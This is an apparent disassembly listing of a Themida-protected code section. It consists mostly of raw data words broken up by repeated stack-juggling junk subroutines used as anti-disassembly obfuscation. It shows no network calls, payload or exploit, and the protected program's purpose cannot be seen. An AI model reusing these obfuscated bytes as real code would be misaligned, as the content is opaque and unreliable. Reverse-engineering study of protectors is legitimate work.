dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 500584C3h, 0BB2BB5FFh, 6A07ABh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 0FFAD02C3h
dd 0B31B6857h, 39BD3199h, 0FF07A808h, 0A814E595h, 5096F507h
dd 66310F52h, 585AF98Bh, 12E850h, 57780000h, 0A032C32Bh
dd 6FD42942h, 27525CDDh, 79ADAC37h, 68A0Fh, 830F0000h
dd 0
; ---------------------------------------------------------------------------
pop edi
xchg eax, esi
push 0
push esi
call sub_5CA3B1
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA3B1 proc near ; CODE XREF: Themida_:005CA3A9p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5CA3B1 endp
; ---------------------------------------------------------------------------
db 0E8h, 1, 0D2h
; ---------------------------------------------------------------------------
mov bx, di
push dword ptr [ebp+7ABBB2Bh]
push 0
push eax
call sub_5CA3D8
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA3D8 proc near ; CODE XREF: Themida_:005CA3D0p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5CA3D8 endp
; ---------------------------------------------------------------------------
dd 0B52220B4h, 0F594F822h, 1D0995FFh, 11E807A8h, 3B000000h
dd 31958699h, 3960A060h, 0A9D9480h, 196CFCF9h, 0EE8h, 0DA848500h
dd 3A784AEAh, 8FF04E44h, 5B17454Dh, 0FDBD835Bh, 7A81Dh
dd 39840Fh, 8A500000h, 243489F8h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 2FC35040h, 27693FE5h, 60F44354h
dd 6650C3B5h, 5A0EC7B8h, 0EECB8161h, 0FF574F50h, 0ABBB2BB5h
dd 0FBB70F07h, 10D595FFh, 6A07A8h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0B5FFD8C3h, 7ABBB2Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E8C35646h
dd 0C7818E1Fh, 6613A566h, 28A99D01h, 0BD8907A8h, 7A80365h
dd 0B3995FFh, 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0CD124AC3h, 890F85DBh, 6, 30DDB589h
dd 8B5207A8h, 0A80D29BDh, 0BD835F07h, 7A831F5h, 55840F02h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 1305C357h, 26600740h, 0BF661304h
dd 858BA682h, 7A82981h, 0C6F88B66h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B63500C3h
dd 0FFBF0FCFh, 21C985C7h, 7A8h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 0DB8A0EC3h
dd 11CB8048h, 0FFF1AFE9h, 57006AFFh, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0D8BF0F8Fh
dd 8B66C18Bh, 25858DFEh, 8B07A804h, 0A829199Dh, 0DDBF9007h
dd 505D6D5Bh, 12E890h, 7E900000h, 8F6B4CDAh, 56CB8A9Eh
dd 0D7C663B2h, 88571F87h, 8E8h, 3F8600h, 64EE9E0Bh, 0AE906h
dd 852A0000h, 28637CD7h, 151CD69Ch, 6A5F5Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F5C35040h, 878DE953h
dd 0FB143895h, 0A99D8B3Fh, 0BB07A827h, 2AFDD74Dh, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 536DB1C3h, 0DB816601h, 8960A3EDh, 0A825959Dh, 119D8B07h
dd 6107A80Eh, 937F858Dh, 6A07ACh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0E19201C3h, 51C91A03h
dd 5BDD8A57h, 0E805C083h, 11h, 5FA19171h, 2D5FF539h, 56ACCA08h
dd 3B73F31Dh, 419D8B36h, 5F07A823h, 50B4B790h, 92BA6660h
dd 0EE850h, 0C0F00000h, 0B12EBBCCh, 0A7FB5C94h, 0F0622C37h
dd 5E8h, 817BCC00h, 5F5FBCADh, 11E99061h, 59000000h, 61843AB8h
dd 0C41DC173h, 4BA940D5h, 0E40D375Eh, 6A006Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0CEF2EBC3h, 8BDC6A45h, 0A828CD9Dh, 89006A07h, 0A80ED5BDh
dd 3995FF07h, 0F07A81Bh, 686h, 0F99D3300h, 8D07A810h, 0AB9A3B8Dh
dd 0B5BD8B07h, 0FF07A819h, 55006AD1h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 152BF154h
dd 0D3818BF3h, 5DB3F5A1h, 6A5BD83h, 0F0107A8h, 6F85h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0C29E97C6h, 15A65595h, 9600100h, 0A8229185h, 0DAAFB807h
dd 806168A7h, 26A66E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 16C35242h, 4554D1D3h, 506F5CC8h, 0A11DBB66h
dd 0F5240489h, 14E595FFh, 0BD8B07A8h, 7A814F1h, 0DE2E9h
dd 0E800h, 815D0000h, 0AC9389EDh, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0EDE02B06h
dd 0DF52843Dh, 0F0B70F60h, 1A399529h, 8D6107A8h, 0AB8C0385h
dd 958B6007h, 7A81D69h, 9061DF8Bh, 0BE9h, 0BD162500h, 51569831h
dd 62F2F7B7h, 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 0E95017C3h, 0Dh, 115E5DA8h, 84A68266h
dd 0CBECDC4Dh, 9D8B5B00h, 7A81879h, 35FF64h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 0C067C357h, 13F8F7DDh, 0E9B34FC5h, 13h, 0DFB42610h
dd 1D82A720h, 0FD166587h, 0C863DCAAh, 64F85F9Ah, 2589h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 9CA7FC3h, 1AF093FFh, 295B9338h, 0A80A2DB5h
dd 0E585FF07h, 6A07A80Eh, 51006AFFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 2FD59D81h
dd 247733Fh, 0B5FF53AFh, 7A82FC5h, 293DBD09h, 95FF07A8h
dd 7A8246Dh, 147E9h, 0C7BF6600h, 0E800B003h, 0Dh, 0AA4FC60Bh
dd 0EC51BDF6h, 2BAFAAEEh, 0BDBD237Bh, 5F07A822h, 0BB76B6BBh
dd 8B70E655h, 0A82935BDh, 371E407h, 0A80A61BDh, 0F613C07h
dd 10B83h, 8E900h, 5B290000h, 1EDF32F0h, 0B60FE244h, 899D8BC8h
dd 0BA07A81Bh, 6, 30E58589h, 0C18B07A8h, 2F358509h, 858907A8h
dd 7A81B19h, 0F804E8C1h, 80E2F766h, 0C82BEFE7h, 8BDA8B66h
dd 6880FD1h, 89000000h, 0A808EDB5h, 6E907h, 8D890000h
dd 7A80791h, 3A9858Bh, 8B6607A8h, 7C083D9h, 4359D89h, 0C08307A8h
dd 0FD03B00h, 3F83h, 13E800h, 46EA0000h, 17005B99h, 30F0C91Bh
dd 0D4B6F824h, 97AD692h, 0BD9D89CFh, 5B07A830h, 6850Fh
dd 95890000h, 7A833F5h, 67E9h, 0AE900h, 906C0000h, 5E077E87h
dd 9F8E949Bh, 13518D8Bh, 958907A8h, 7A80E29h, 0F01E183h
dd 4384h, 19800F00h, 0E8000000h, 0Dh, 0BB918B52h, 4E9E6B7Dh
dd 659E302Ah, 0A9B589B7h, 5F07A826h, 1351A583h, 60FE07A8h
dd 5FD98B57h, 6810Fh, 8D230000h, 7A81ADDh, 0A9958961h
dd 0E907A803h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7AC0829h]
mov [ebp+7A81BC9h], ecx
mov [ebp+7A80455h], edi
push 0
mov bx, 5CB0h
call dword ptr [ebp+7A80D21h]
push 0
push ecx
call sub_5CAAA9
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CAAA9 proc near ; CODE XREF: Themida_:005CAAA1p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5CAAA9 endp
; ---------------------------------------------------------------------------
db 0A6h, 0FEh, 0E6h
; ---------------------------------------------------------------------------
pop ss
jno short loc_5CAB10
mov edi, [ebp+7A82911h]
pop edi
mov ecx, 8B3h
push 0
push ebp
call sub_5CAAD6
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CAAD6 proc near ; CODE XREF: Themida_:005CAACEp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5CAAD6 endp
; ---------------------------------------------------------------------------
dw 0CD17h
; ---------------------------------------------------------------------------
push cs
mov [ebp+7A80CC1h], ebx
and ecx, 0FFFFFFFCh
jmp loc_5CAB0A
; ---------------------------------------------------------------------------
db 0C9h
dd 0A98F8CEDh, 9C317988h, 52799B89h, 28E4A662h
; ---------------------------------------------------------------------------
xchg eax, [esi]
loc_5CAB0A: ; CODE XREF: Themida_:005CAAF2j
cld
; ---------------------------------------------------------------------------
db 0Fh
dd 383h
; ---------------------------------------------------------------------------
loc_5CAB10: ; CODE XREF: Themida_:005CAABDj
add [edi], cl
mov edi, 0B8FAh
; ---------------------------------------------------------------------------
db 0
dd 0B39BF00h, 0BA0B53h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 111FC356h
dd 0DD99D8Bh, 8B6607A8h, 0C233ADDFh, 0D003E8D1h, 7504E983h
dd 2EC380F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 0F5C35747h, 2DB19D8Bh, 880D07A8h, 66000000h, 958BFE8Bh
dd 7A81731h, 0FE8h, 51834700h, 0B06021BAh, 57673366h, 4FF319E0h
dd 0F8E121BBh, 8D8B5B59h, 7A80A59h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 9D335818h, 7A81439h, 601BD8Bh
dd 10E907A8h, 40000000h, 77446EFh, 6504A0A4h, 0F09A4BB5h
dd 8372EBFBh, 0A81885BDh, 840F0007h, 79h, 419D09h, 0B807A8h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 0DE7BC356h, 8D8DDEF5h, 7A84E4Dh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C5C35747h
dd 96E3B4AAh, 0E1FF0D61h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 0E1C35141h, 8BF6FF06h, 0A5BF66F8h, 39BD8317h
dd 7A809h, 415840Fh, 81660000h, 83EEDBEBh, 0A80939BDh
dd 840F0107h, 41Eh, 0ED952957h, 5F07A810h, 939BD83h, 0F0307A8h
dd 3D386h, 0F88B6600h, 19BD8960h, 6607A830h, 0BD89D98Ch
dd 7A82601h, 8B04E180h, 0A8234D9Dh, 0FC90A07h, 16D84h
dd 0EE800h, 0DA900000h, 0EBD2A22Eh, 0C2AD972Bh, 0B90B51C2h
dd 0D8E0F5Bh, 60000000h, 0C6BEC781h, 816663BDh, 61B5DCF2h
dd 0BB1858Bh, 6A07A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 8B66E6C3h, 718533F9h, 6A07A828h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 3A62C353h, 0F7FEBE6h, 1B83h, 13E800h, 854B0000h
dd 0BA3DB36Eh, 7606F605h, 0E29622F3h, 0EDBA55D1h, 5B61603Fh
dd 2800F90h, 8B000000h, 8B6650FEh, 958990FBh, 7A80031h
dd 11E9h, 5219900h, 0EABD592Bh, 9D0E8073h, 6C4AC6CCh, 6A856Fh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8CC35646h
dd 9D8529C5h, 0F07A827h, 68Dh, 0E98D2900h, 6807A82Ah, 0E5B2167Ch
dd 81F88B66h, 0ED832404h, 0FFF91A6Ch, 0A8053995h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 5A891D64h, 2E75BD8Bh, 858907A8h, 7ABBB2Bh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 4EC35242h, 68D0F05h
dd 89000000h, 0A814C995h, 202E907h, 0BE90000h, 0B7000000h
dd 84021AB2h, 8D5A8E69h, 858B1E7Ah, 7ABBB23h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 21C35343h, 9D89B9A6h
dd 7A82FF9h, 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0EFC53C3h, 0BD896C21h
dd 7A81CA1h, 0BB27B58Bh, 0DE8B07ABh, 0CCD858Bh, 6A07A8h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0B590EAC3h, 52F46208h, 5C5B589h, 68907A8h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 68C35242h, 0CFE6E65Fh
dd 0B1858BF8h, 8907A80Bh, 0A80E819Dh, 4468907h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0F7C35646h, 84CFA2ADh
dd 295026E4h, 10E9h, 8CABC400h, 211D0C8Dh, 258B2661h, 39735949h
dd 0BF665021h, 34896006h, 56006A24h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 883645A2h
dd 0BF66227Ch, 0B5FF53E5h, 7ABBB23h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0C6C35242h, 64958B36h, 10E80E67h
dd 3F000000h, 0A8528FEFh, 5D2AED27h, 0C91CCAD8h, 3BB2973h
dd 0A806AD9Dh, 2C685B07h, 60257C11h, 8A0F40B6h, 4, 2B43BB66h
dd 24348161h, 256312D3h, 0FD8589F5h, 8D07A807h, 0ABBB2B85h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 8BA4840Fh, 0A81D0DBDh, 0BF519007h, 7F90BB89h
dd 0BB66505Fh, 89904109h, 0A8338985h, 3995FF07h, 6A07A805h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 1639C357h, 4C049919h, 0A9D780EDh, 0BD895061h
dd 7A82F35h, 3985C75Fh, 307A809h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 30A8C356h, 2504E08Ch, 0BD837BACh, 7ABBB2Bh, 0D840F00h
dd 66000000h, 20E9F98Bh, 0BB000000h, 4715FA90h, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h, 0A82A69BDh
dd 39BD8307h, 307A809h, 4EF850Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0EF8B80C3h
dd 0B3E47FDBh, 0BB2BBD83h, 0F0007ABh, 4C084h, 0DEB70F00h
dd 0BB2BB5FFh, 6A07ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 41F9F9C3h, 0F2ED7F1Ah, 669B03F0h
dd 95FFFA8Bh, 7A82475h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0A0C35040h, 0D61AEE9Ch, 0D232B532h, 0BB1FB58Bh
dd 9D8B07ABh, 7A80775h, 106C7h, 6A0001h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF6651C3h
dd 0FA8BA4DEh, 800F5096h, 0
; ---------------------------------------------------------------------------
xchg eax, esi
push 0
push esi
call sub_5CB1A0
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB1A0 proc near ; CODE XREF: Themida_:005CB198p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5CB1A0 endp
; ---------------------------------------------------------------------------
dd 989813DDh, 0E84353E7h, 7, 0A3728794h, 0E910931Fh, 12h
dd 0CD04C81Dh, 7B20A38Dh, 0FABD69F5h, 4708809Dh, 0FF5BE9C1h
dd 0ABBB2BB5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 95FF55A6h, 7A823E5h, 0B58BDA8Ah
dd 7ABBB1Fh, 8FDDBB66h, 2941858Bh, 6A07A8h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 0E691DCC3h
dd 8F0F2570h, 6, 8E18589h, 880F07A8h, 0Ah, 5E9h, 91D4CB00h
dd 8689BB4Eh, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 33C35141h, 0D99D8B38h, 0F07A805h, 958BFEB7h
dd 7A81731h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 0A4C35646h, 0B5B76F8Eh, 0DF8166A5h, 0C2839BEEh
dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 895723E5h, 0A8186195h, 50895B07h, 55006A20h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0BE563FACh, 0F7EC083Fh, 9D8B8F91h, 7A82D41h, 0CFC1858Dh
dd 6A07ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 5536C8C3h, 4971C479h, 0B589512Dh, 7A80581h
dd 0B886895Fh, 8B000000h, 0A82C35BDh, 66006A07h, 0B39CE381h
dd 0BB2BB5FFh, 6A07ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 28BB78C3h, 0FF5FDF40h, 0A814E595h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 993C6663h, 99A9BB01h, 0E9503A9Bh, 0Ch, 369AF910h
dd 70F1ABF7h, 662E96C6h, 6A243489h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6F0C352h
dd 6AEAFA58h, 1C25F42Bh, 2FD5BD23h, 0B5FF07A8h, 7ABBB2Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4C35040h
dd 880F1C10h, 0E959816Fh, 13h, 186DF473h, 6D252770h, 0ED84467Fh
dd 5DA15F59h, 0FFD4E15Dh, 0A81D0995h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 4DEBDC32h, 1DFDBD83h, 0F0007A8h, 5684h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 403BD501h, 0BD8BE79Fh, 7A826CDh, 25659D23h, 0E85007A8h
dd 13h, 0C77C1BFCh, 2793C4B3h, 4CBDB3EEh, 732D60D4h, 0BFDA614Dh
dd 18E5B1F3h, 2434895Fh, 1577BB66h, 0FFF98B66h, 0ABBB2BB5h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0D148A11h, 75850953h, 0FF07A82Ah, 0A810D595h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 0B5FF47C0h, 7ABBB2Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 91C35242h, 0B69B70DCh, 0D380B8A5h
dd 3995FF5Eh, 6A07A80Bh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 84ECC351h, 9D0349A3h
dd 7A818C1h, 31F5BD83h, 0F0207A8h, 4584h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0DDCFF130h, 68E0Fh, 0BD8B0000h, 7A81ACDh, 8BD8BF0Fh
dd 0A8298185h, 89B58907h, 0C607A82Fh, 890F0000h, 2, 85C775B7h
dd 7A821C9h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5CB5AB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB5AB proc near ; CODE XREF: Themida_:005CB5A3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5CB5AB endp
; ---------------------------------------------------------------------------
aas
mov ecx, 0FFF339E9h
jmp dword ptr [esi-7Fh]
; ---------------------------------------------------------------------------
test dword ptr [edx-743E744Eh], 0A80ACDBDh
pop es
lea eax, [ebp+7A80425h]
push 0
push edx
call sub_5CB5E0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB5E0 proc near ; CODE XREF: Themida_:005CB5D8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5CB5E0 endp
; ---------------------------------------------------------------------------
dd 0B2BDF1EEh, 8960EF18h, 0A82D01BDh, 598D8907h, 6107A828h
dd 0B358D89h, 669007A8h, 502472BFh, 0B157BB60h, 52602517h
dd 9061615Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 0CFC35242h, 2FBC9BC6h, 0C4FA4AFCh, 0BB66006Ah
dd 6A4E48h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 83C35141h, 3DAD88DDh, 8DFB8BC4h, 0ACA39685h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 8ABC08EFh, 0CF8166D1h, 0C0832A64h, 50006A05h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0F99D8B93h, 6607A825h, 6CD5CF81h, 10E95790h, 96000000h
dd 4C9FDFB9h, 203155BEh, 337FC039h, 5F9A592Eh, 905F5250h
dd 0FD5BD89h, 6A07A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 0C35747h, 114F137Ah, 0BD29A345h, 7A80F01h
dd 7E9h, 0C63CA500h, 0C932823Ah, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0B11F51C3h
dd 0AAB1AC3Bh, 95FF9A78h, 7A81B39h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 99C35747h, 8B35F074h, 0A827F5BDh
dd 3B8D8D07h, 8907AB9Ah, 0A80EADBDh, 50D1FF07h, 52A9DFBBh
dd 85295F31h, 7A82985h, 6A5BD83h, 0F0107A8h, 6E85h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0C862D486h, 25BD8B03h, 6A07A81Eh, 0D5BD8902h, 5007A81Bh
dd 0E9240489h, 12h, 0AF0472AEh, 878C6525h, 5C5A07BAh, 2856741h
dd 95FF1975h, 7A814E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0EAC35646h, 0E99E17ADh, 0E7Bh, 0E8h
dd 0ED815D00h, 7ACA3A0h, 0E9F9B70Fh, 13h, 6D9C3546h, 4BF21650h
dd 99CE1E09h, 3F598D53h, 81B619FDh, 4563C9C3h, 3858D58h
dd 0B07AB8Ch, 0A834899Dh, 10E95007h, 70000000h, 3C0BCE20h
dd 0E4F1F7CCh, 0A2BC60FDh, 895DA888h, 6A2404h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 669A17C3h, 0FF64F88Bh, 35h, 29B58900h, 6407A828h, 2589h
dd 85FF0000h, 7A80EE5h, 5F50FF6Ah, 28E0Fh, 0DE8A0000h
dd 55B5FFh, 8B6607A8h, 0CE9FBh, 0E8140000h, 4FCE1C81h
dd 0B5419A22h, 95FF388Fh, 7A8246Dh, 10DE9h, 0C5958900h
dd 8B07A805h, 0A819259Dh, 3100B007h, 0A8177195h, 919D8B07h
dd 0E607A82Ch, 13E970h, 0B0160000h, 7D8DAF1Ch, 19F0E81Dh
dd 9DBA65E3h, 53C4F3C0h, 6071E48Eh, 0F499D8Bh, 8D2B07A8h
dd 7A80085h, 0F613C61h, 0C183h, 12E900h, 245B0000h, 960A9845h
dd 0EDE7F23Ah, 0B5D503EAh, 0B4CA603Bh, 0FCC8B60Fh, 6BAh
dd 0C18BF500h, 33A99D8Bh, 0E8C107A8h, 27DF8104h, 6669505Eh
dd 8E9E2F7h, 0C3000000h, 0D0AF091Ah, 0B49636Bh, 0A8133DBDh
dd 8BC82B07h, 0A80591BDh, 8BD18B07h, 0A829F1BDh, 6E907h
dd 0B5890000h, 7A833B5h, 2669858Bh, 28BF07A8h, 0F959DC12h
dd 3307C083h, 0A81CB1BDh, 0C08307h, 6DC38166h, 0FD03BFCh
dd 0B83h, 49BD0300h, 0E907A827h, 2Eh, 15758D8Bh, 0E18307A8h
dd 1F840F01h, 0BF000000h, 430A3777h, 1575A583h, 8BFE07A8h
dd 0A828F1BDh, 69958907h, 0B307A826h, 0E912h, 0B58D0000h
dd 7AC12EAh, 0B3D9D89h, 6A07A8h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 2AC35040h, 0C9B2F402h, 0BB6658B9h
dd 95FF40C6h, 7A80D21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 0A5C35747h, 0EE422F62h, 1171DC20h, 0AE9h
dd 3AD65200h, 957C9132h, 60E87F2Fh, 9E98D89h, 0EF8107A8h
dd 7341D6B1h, 80AB961h, 8F0F0000h, 5, 4EDE86BFh, 459D8921h
dd 8307A806h, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 791D54C3h, 335805BCh, 958B6011h
dd 7A82FC9h, 6AFC61F8h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 5120C356h, 0E9F8A5D9h
dd 13h, 0D4059A4h, 13607AC7h, 94C0E80Dh, 35F6125Dh, 2BD54C4Ch
dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 0BD09CB2Ah, 7A82929h, 0BAh, 33ADF800h, 3E8D1C2h
dd 4E983D0h, 8C0FF475h, 21h, 5E8h, 1CA08C00h, 11E994BFh
dd 94000000h, 38527F19h, 5A81FE9Bh, 795C72D6h, 0FF3876DDh
dd 52006A5Fh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0D6BBD405h, 667ACB1h, 358D3195h, 8107A822h
dd 61CBA3CBh, 880D43h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 958B5EC3h, 7A81731h
dd 212D9D03h, 8D8B07A8h, 7A80A59h, 235D61BFh, 0C28B5079h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0A0F9C356h, 66384B03h, 18862BBh, 0A80F31BDh, 85BD8307h
dd 7A818h, 0B2840Fh, 0BD8B0000h, 7A81775h, 0B8h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0D4B708D0h, 0E9C9F86Dh, 0Ch, 0E7F65D6h, 6C192322h, 0D8E90424h
dd 158D0Fh, 10E90000h, 0B7000000h, 63CCA841h, 923594B8h
dd 8514428Dh, 8DE4ED91h, 0A84E4D8Dh, 0FECF8107h, 0FF5B2DEBh
dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0C522B08h, 0DD71C78h, 0FE804h, 7F1D0000h
dd 0DC0E11B6h, 0FC3227E7h, 0E5DF1F7Fh, 0E85BFCEFh, 5, 473FA352h
dd 0C185896Eh, 5B07A818h, 939BD83h, 0F0007A8h, 4F384h
dd 0A19D8B00h, 8307A819h, 0A80939BDh, 840F0107h, 4FBh
dd 8E9h, 0C02D0700h, 0AC1B0C63h, 39BD8391h, 307A809h, 4AB860Fh
dd 8D890000h, 7A825BDh, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0E9DE8B79h, 11h, 0F1CD2045h
dd 0A03EDEC2h, 1DF5C71Eh, 0D84269D0h, 0D98C66E9h, 6A04E180h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 0B713C356h, 78BC7679h, 0CE92Ch, 0C49A0000h
